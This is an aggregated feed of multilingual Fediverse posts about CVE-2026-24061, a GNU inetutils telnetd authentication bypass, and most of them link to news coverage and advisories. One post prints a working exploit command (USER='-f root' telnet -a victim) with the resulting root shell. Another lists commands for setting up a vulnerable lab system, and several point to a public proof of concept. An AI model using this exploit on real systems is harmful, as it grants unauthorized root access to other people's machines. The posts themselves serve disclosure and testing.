#telnetd — Public Fediverse posts

Krytyczna podatność w telnetd

Początkowo informacja na temat wykrycia (kolejnej) podatności w Telnetd przeszła bez echa. Wszak Telnet to bardzo stary protokół. Niska popularność rozwiązania może tłumaczyć, dlaczego problem początkowo nie wzbudził większego zainteresowania… TLDR: Telnet to rozwiązanie, które swoje największe triumfy święciło w czasach, kiedy nikomu jeszcze nie śnił się powszechny dostęp do...

#WBiegu #Linemode #Podatność #Telnet #Telnetd #Vulnerability

https://sekurak.pl/krytyczna-podatnosc-w-telnetd/

Krytyczna podatność w telnetd

Początkowo informacja na temat wykrycia (kolejnej) podatności w Telnetd przeszła bez echa. Wszak Telnet to bardzo stary protokół. Niska popularność rozwiązania może tłumaczyć, dlaczego problem początkowo nie wzbudził większego zainteresowania… TLDR: Telnet to rozwiązanie, które swoje największe triumfy święciło w czasach, kiedy nikomu jeszcze nie śnił się powszechny dostęp do...

#WBiegu #Linemode #Podatność #Telnet #Telnetd #Vulnerability

https://sekurak.pl/krytyczna-podatnosc-w-telnetd/

Krytyczna podatność w telnetd

Początkowo informacja na temat wykrycia (kolejnej) podatności w Telnetd przeszła bez echa. Wszak Telnet to bardzo stary protokół. Niska popularność rozwiązania może tłumaczyć, dlaczego problem początkowo nie wzbudził większego zainteresowania… TLDR: Telnet to rozwiązanie, które swoje największe triumfy święciło w czasach, kiedy nikomu jeszcze nie śnił się powszechny dostęp do...

#WBiegu #Linemode #Podatność #Telnet #Telnetd #Vulnerability

https://sekurak.pl/krytyczna-podatnosc-w-telnetd/

Krytyczna podatność w telnetd

Początkowo informacja na temat wykrycia (kolejnej) podatności w Telnetd przeszła bez echa. Wszak Telnet to bardzo stary protokół. Niska popularność rozwiązania może tłumaczyć, dlaczego problem początkowo nie wzbudził większego zainteresowania… TLDR: Telnet to rozwiązanie, które swoje największe triumfy święciło w czasach, kiedy nikomu jeszcze nie śnił się powszechny dostęp do...

#WBiegu #Linemode #Podatność #Telnet #Telnetd #Vulnerability

https://sekurak.pl/krytyczna-podatnosc-w-telnetd/

Krytyczna podatność w telnetd

Początkowo informacja na temat wykrycia (kolejnej) podatności w Telnetd przeszła bez echa. Wszak Telnet to bardzo stary protokół. Niska popularność rozwiązania może tłumaczyć, dlaczego problem początkowo nie wzbudził większego zainteresowania… TLDR: Telnet to rozwiązanie, które swoje największe triumfy święciło w czasach, kiedy nikomu jeszcze nie śnił się powszechny dostęp do...

#WBiegu #Linemode #Podatność #Telnet #Telnetd #Vulnerability

https://sekurak.pl/krytyczna-podatnosc-w-telnetd/

This Week In Security: Getting Back Up to Speed

https://web.brid.gy/r/https://hackaday.com/2026/03/06/this-week-in-security-getting-back-up-to-speed/

This Week In Security: Getting Back Up to Speed

https://web.brid.gy/r/https://hackaday.com/2026/03/06/this-week-in-security-getting-back-up-to-speed/

This Week In Security: Getting Back Up to Speed

https://web.brid.gy/r/https://hackaday.com/2026/03/06/this-week-in-security-getting-back-up-to-speed/

This Week In Security: Getting Back Up to Speed

https://fed.brid.gy/r/https://hackaday.com/2026/03/06/this-week-in-security-getting-back-up-to-speed/

This Week In Security: Getting Back Up to Speed

https://web.brid.gy/r/https://hackaday.com/2026/03/06/this-week-in-security-getting-back-up-to-speed/

https://blog.gslin.org/archives/2026/02/13/12889/telnetd-%e5%87%ba%e5%8c%85/

Telnetd 出包

#flaw #gnu #inetutils #login #network #root #security #telnet #telnetd #user

https://blog.gslin.org/archives/2026/02/13/12889/telnetd-%e5%87%ba%e5%8c%85/

Telnetd 出包

#flaw #gnu #inetutils #login #network #root #security #telnet #telnetd #user

https://blog.gslin.org/archives/2026/02/13/12889/telnetd-%e5%87%ba%e5%8c%85/

Telnetd 出包

#flaw #gnu #inetutils #login #network #root #security #telnet #telnetd #user

https://blog.gslin.org/archives/2026/02/13/12889/telnetd-%e5%87%ba%e5%8c%85/

Telnetd 出包

#flaw #gnu #inetutils #login #network #root #security #telnet #telnetd #user

https://blog.gslin.org/archives/2026/02/13/12889/telnetd-%e5%87%ba%e5%8c%85/

Telnetd 出包

#flaw #gnu #inetutils #login #network #root #security #telnet #telnetd #user

#Telnet-Sicherheitslücke: Wegen kritischen Risikos patchen | Security https://www.heise.de/news/Kritische-telnetd-Luecke-Patchen-aber-Panik-ist-unbegruendet-11155419.html #Patchday #telnetd #OpenSource

https://www.cve.org/CVERecord?id=CVE-2026-24061

#itsecurity #unix #linux #telnet #telnetd

Warning: computer nerd stuff below:

So. In 2026, telnet is still a thing.
Really? 😑

ubuntu@ubuntu:~$ USER=“-f root” telnet -a victim.ip.address

[usual Ubuntu /etc/issue text]

root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)

You’re welcome.

#itsecurity #unix #linux #telnet #telnetd

Security Week 2605: тривиальная ошибка в telnetd

20 января разработчик Саймон Йозефссон опубликовал в рассылке oss-sec информацию о крайне серьезной уязвимости в демоне telnetd, реализующем удаленное подключение по протоколу telnet. В традиционной для описания уязвимости терминологии суть проблемы заключается в следующем: «ошибка в обработке входящих данных позволяет злоумышленнику пропустить процесс аутентификации и получить на подверженной уязвимости системе права суперпользователя». Применение таких терминов обычно обозначает, что подлинное описание проблемы либо слишком длинное, либо слишком сложное для понимания, но в данном случае это не так. При подключении к telnetd нужно указать имя пользователя. Его программа передает стандартной утилите login , причем передача осуществляется без предварительной проверки ввода от желающего подключиться. Если указать вместо имени пользователя строку «-f root», эти данные будут переданы в утилиту login, а она уже залогинит любого желающего под рутом без какой-либо авторизации, увидев соответствующий ключ -f. Собственно, это вся уязвимость как есть.

https://habr.com/ru/companies/kaspersky/articles/989152/

#иб #telnetd

I've successfully tested the PoC in the #SafeBreach Labs GitHub repository. It seems like a good place to start to write a checker (if there isn't a good one).

https://github.com/SafeBreach-Labs/CVE-2026-24061

#CVE_2026_24061 #telnetd #vulnerability

Any good, legitimate checker around for CVE-2026-24061 ?

Exploitation is trivial, checking for the vulnerability, not so much.

#CVE_2026_24061 #telnetd #vulnerability

Exploitation is completely trivial...

#CVE_2026_24061 #telnetd #vulnerability

vagrant init debian/bookworm64
vagrant up
vagrant ssh 

sudo bash
apt update
apt install inetutils-telnetd=2:2.4-2+deb12u1 inetutils-telnet=2:2.4-2+deb12u1

1. Edit /etc/inetd.conf to enable telnetd
2. systemctl restart inetutils-inetd
3. Check telnet is running (ss -tupln | grep :23)

Congratulations, you got yourself a system vulnerable to CVE-2026-24061 !

#CVE_2026_24061 #telnetd #vulnerability

Here I am installing #telnetd on Debian in the laboratory... To test CVE-2026-24061.

#CVE_2026_24061

2.7までのGNU inetutilsに含まれるtelnetdに、細工した環境変数を送信するだけで認証を回避して特権ユーザーでのログインが可能な脆弱性が発見されたらしい。CVE-2026-24061。いまどきtelnetdをThe Internetに露出している人はそうそういないはずとはいえ、なかなか興味深いので調べてみたところ。`telnetd`が`execv()`で呼び出す`/usr/bin/login`のコマンドラインオプションをうまく使うことでそういうことができてしまうようで、正直興奮した。

https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/

#CVE #GNU #inetutils #login #telnetd #サイバーセキュリティ #セキュリティ #情報セキュリティ #脆弱性

Really? Still using #telnet? 🙈
#cybersecurity #exploit #telnetd
https://www.bleepingcomputer.com/news/security/hackers-exploit-critical-telnetd-auth-bypass-flaw-to-get-root/

I wonder how many IoT appliances, abandoned by its vendor, can now be liberated thanks to the recent telnetd-bug.

#telnetd #telnet #telnetgate

@ska

Looking at the commit and the code as it still stands today, it is interesting that only on Solaris does it even try to use -- in the arguments to login to signal the end of options, and even then only in limited circumstances.

#FreeBSD telnetd, for comparison, always puts -- in before the supplied account name.

I wonder how long it will be before the lesson is properly learned.

@jas
#getopt #login #telnetd #inetutils

GNU InetUtils Security Advisory: remote authentication by-pass in telnetd

🔗 https://vulnerability.circl.lu/vuln/gcve-1-2026-0007

#telnet #telnetd #cybersecurity #vulnerability

@gcve GCVE-1-2026-0007

Telnet Gets Stubborn Sony Camera Under Control - According to [Venn Stone], technical producer over at LinuxGameCast, the Sony a500... - https://hackaday.com/2022/11/25/telnet-gets-stubborn-sony-camera-under-control/ #digitalcamerashacks #softwarehacks #firmwarehack #busybox #telnetd #telnet #sony